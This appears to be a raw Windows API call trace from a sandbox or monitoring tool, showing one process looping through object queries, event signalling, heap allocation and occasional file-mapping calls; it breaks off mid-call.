[0057.504] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.504] ResetEvent (hEvent=0xe8) returned 1 [0057.504] SetEvent (hEvent=0xec) returned 1 [0057.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.504] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.504] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.504] ResetEvent (hEvent=0xe8) returned 1 [0057.504] SetEvent (hEvent=0xec) returned 1 [0057.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.505] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.505] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.505] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.505] ResetEvent (hEvent=0xe8) returned 1 [0057.505] SetEvent (hEvent=0xec) returned 1 [0057.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.505] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.505] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.505] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.505] ResetEvent (hEvent=0xe8) returned 1 [0057.505] SetEvent (hEvent=0xec) returned 1 [0057.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.505] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.505] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.505] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.505] ResetEvent (hEvent=0xe8) returned 1 [0057.505] SetEvent (hEvent=0xec) returned 1 [0057.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.506] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.506] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.506] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.506] ResetEvent (hEvent=0xe8) returned 1 [0057.506] SetEvent (hEvent=0xec) returned 1 [0057.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.506] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.506] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.506] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.506] ResetEvent (hEvent=0xe8) returned 1 [0057.506] SetEvent (hEvent=0xec) returned 1 [0057.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.506] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.506] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.506] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.506] ResetEvent (hEvent=0xe8) returned 1 [0057.506] SetEvent (hEvent=0xec) returned 1 [0057.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.507] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.507] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.507] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.507] ResetEvent (hEvent=0xe8) returned 1 [0057.507] SetEvent (hEvent=0xec) returned 1 [0057.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.507] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.507] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.507] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.507] ResetEvent (hEvent=0xe8) returned 1 [0057.507] SetEvent (hEvent=0xec) returned 1 [0057.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.507] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.507] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.507] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.507] ResetEvent (hEvent=0xe8) returned 1 [0057.507] SetEvent (hEvent=0xec) returned 1 [0057.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.507] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.508] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.508] ResetEvent (hEvent=0xe8) returned 1 [0057.508] SetEvent (hEvent=0xec) returned 1 [0057.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.508] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.508] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.508] ResetEvent (hEvent=0xe8) returned 1 [0057.508] SetEvent (hEvent=0xec) returned 1 [0057.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.508] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.508] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.508] ResetEvent (hEvent=0xe8) returned 1 [0057.508] SetEvent (hEvent=0xec) returned 1 [0057.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.508] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.509] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.509] ResetEvent (hEvent=0xe8) returned 1 [0057.509] SetEvent (hEvent=0xec) returned 1 [0057.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.509] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.509] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.509] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.509] ResetEvent (hEvent=0xe8) returned 1 [0057.509] SetEvent (hEvent=0xec) returned 1 [0057.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.509] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.509] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.509] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.509] ResetEvent (hEvent=0xe8) returned 1 [0057.509] SetEvent (hEvent=0xec) returned 1 [0057.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.509] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.509] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.509] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.510] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.510] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.510] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.510] ResetEvent (hEvent=0xe8) returned 1 [0057.510] SetEvent (hEvent=0xec) returned 1 [0057.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.510] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.510] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.510] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.510] ResetEvent (hEvent=0xe8) returned 1 [0057.510] SetEvent (hEvent=0xec) returned 1 [0057.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.510] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.510] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.510] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.510] ResetEvent (hEvent=0xe8) returned 1 [0057.510] SetEvent (hEvent=0xec) returned 1 [0057.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.511] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.511] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.511] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.511] ResetEvent (hEvent=0xe8) returned 1 [0057.511] SetEvent (hEvent=0xec) returned 1 [0057.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.511] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.511] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.511] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.511] ResetEvent (hEvent=0xe8) returned 1 [0057.511] SetEvent (hEvent=0xec) returned 1 [0057.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.511] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.511] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.511] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.511] ResetEvent (hEvent=0xe8) returned 1 [0057.511] SetEvent (hEvent=0xec) returned 1 [0057.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.512] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.512] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.512] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.512] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.512] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.512] ResetEvent (hEvent=0xe8) returned 1 [0057.512] SetEvent (hEvent=0xec) returned 1 [0057.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.512] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.512] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.512] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.512] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.512] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.512] ResetEvent (hEvent=0xe8) returned 1 [0057.512] SetEvent (hEvent=0xec) returned 1 [0057.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.513] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.513] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.513] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.513] ResetEvent (hEvent=0xe8) returned 1 [0057.513] SetEvent (hEvent=0xec) returned 1 [0057.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.513] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.513] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.513] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.513] ResetEvent (hEvent=0xe8) returned 1 [0057.513] SetEvent (hEvent=0xec) returned 1 [0057.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.513] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.513] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.513] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.513] ResetEvent (hEvent=0xe8) returned 1 [0057.513] SetEvent (hEvent=0xec) returned 1 [0057.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.514] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.514] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.514] ResetEvent (hEvent=0xe8) returned 1 [0057.514] SetEvent (hEvent=0xec) returned 1 [0057.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.514] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.514] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.514] ResetEvent (hEvent=0xe8) returned 1 [0057.514] SetEvent (hEvent=0xec) returned 1 [0057.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.514] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.514] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.514] ResetEvent (hEvent=0xe8) returned 1 [0057.514] SetEvent (hEvent=0xec) returned 1 [0057.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.515] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.515] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.515] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.515] ResetEvent (hEvent=0xe8) returned 1 [0057.515] SetEvent (hEvent=0xec) returned 1 [0057.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.515] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.515] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.515] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.515] ResetEvent (hEvent=0xe8) returned 1 [0057.515] SetEvent (hEvent=0xec) returned 1 [0057.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.515] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.515] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.515] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.515] ResetEvent (hEvent=0xe8) returned 1 [0057.515] SetEvent (hEvent=0xec) returned 1 [0057.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.516] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.516] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.516] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.516] ResetEvent (hEvent=0xe8) returned 1 [0057.516] SetEvent (hEvent=0xec) returned 1 [0057.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.516] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.516] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.516] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.516] ResetEvent (hEvent=0xe8) returned 1 [0057.516] SetEvent (hEvent=0xec) returned 1 [0057.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.516] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.516] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.516] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.516] ResetEvent (hEvent=0xe8) returned 1 [0057.516] SetEvent (hEvent=0xec) returned 1 [0057.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.517] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.517] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.517] ResetEvent (hEvent=0xe8) returned 1 [0057.517] SetEvent (hEvent=0xec) returned 1 [0057.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.517] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.517] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.517] ResetEvent (hEvent=0xe8) returned 1 [0057.517] SetEvent (hEvent=0xec) returned 1 [0057.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.517] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.517] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.517] ResetEvent (hEvent=0xe8) returned 1 [0057.517] SetEvent (hEvent=0xec) returned 1 [0057.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.518] WaitForMultipleObjects (nCount=0x2, 